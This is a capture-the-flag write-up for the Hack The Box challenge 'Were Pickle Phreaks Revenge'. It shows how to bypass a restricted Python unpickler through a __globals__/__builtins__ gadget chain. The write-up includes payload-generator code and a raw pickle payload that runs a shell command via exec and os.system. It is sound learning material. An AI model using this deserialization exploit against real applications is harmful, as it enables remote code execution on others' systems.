HTB Cyber Apocalypse 2024 — Were Pickle Phreaks Revenge
I really enjoy this one and I didn’t see any writeup apart from an official one yet so decided to publish mine. I can see there are so many open areas for this problem so I would love to see other alternative solutions.
The challenge: https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/misc/%5BMedium%5D%20Were%20Pickle%20Phreaks%20Revenge
The problem: Pickle only allows importing from app
or __main__
module and not allow to import __builtins__
and random
from anywhere. (Only at import, using string __builtins__
somewhere else is still fine)
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']
class RestrictedUnpickler(_pickle.Unpickler):
def find_class(self, module, name):
print(module, name)
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
return super().find_class(module, name)
raise _pickle.UnpicklingError()
Here is my idea:
In Python pickle, function call and import (in form of from x import y
) are basis operations. We should stick to basis operations so that the pickle will not generate long chain which will likely stuck at the filter. I try my best to avoid something like this a.b[c].d[e].f(x,y)
If you’re wondering the basis operations of pickle, you may take a look here: https://github.com/python/cpython/blob/main/Lib/pickle.py
After an hour of exploration, I come up with this chain.
builtins = app.menu.__globals__.__class__.get(app.menu.__globals__, "__builtins__")
exec = app.menu.__globals__.__class__.get(builtins, "exec")
exec("import os\nos.system('cat *')")
The chain can be described like this:
from app import menu.__globals__.__class__.get
from app import menu.__globals__
builtins = get(__global__, "__builtins__")
exec = get(builtins, "exec")
exec("import os\nos.system('cat *')")
So my payload setting: (Notice I did not put __class__
in my payload generator, somehow it’s Python sensitive word and I cannot use it in my mock up, I manually patched my payload later)
# Mockup app.py
class menu():
class __globals__():
@staticmethod
def get(s):
pass
import pickle, app
class RCE1:
def __reduce__(self):
return app.menu.__globals__.get, (app.menu.__globals__, "__builtins__",)
class RCE2:
def __reduce__(self):
r = RCE1()
return app.menu.__globals__.get, (r, "exec",)
def __call__(self):
pass
class RCE3:
def __reduce__(self):
r2 = RCE2()
return r2, ("import os\nos.system('cat *')",)
p = pickle.dumps(RCE3(), protocol=4)
import pickletools
p2 = pickletools.optimize(p) # Remove junk op to shorten the payload
pickletools.dis(p2)
I got something like this
b"\x80\x04\x95n\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x14menu.__globals__.get\x93\x94h\x01h\x00\x8c\x10menu.__globals__\x93\x8c\x0c__builtins__\x86R\x8c\x04exec\x86R\x8c\x1cimport os\nos.system('cat *')\x85R."
Manually edit __globals__.get
-> __globals__.__class__.get
Increase the string length \x14
to \x1e
And increase overall frame len by 10. n
to \x78
Base64 then exploit.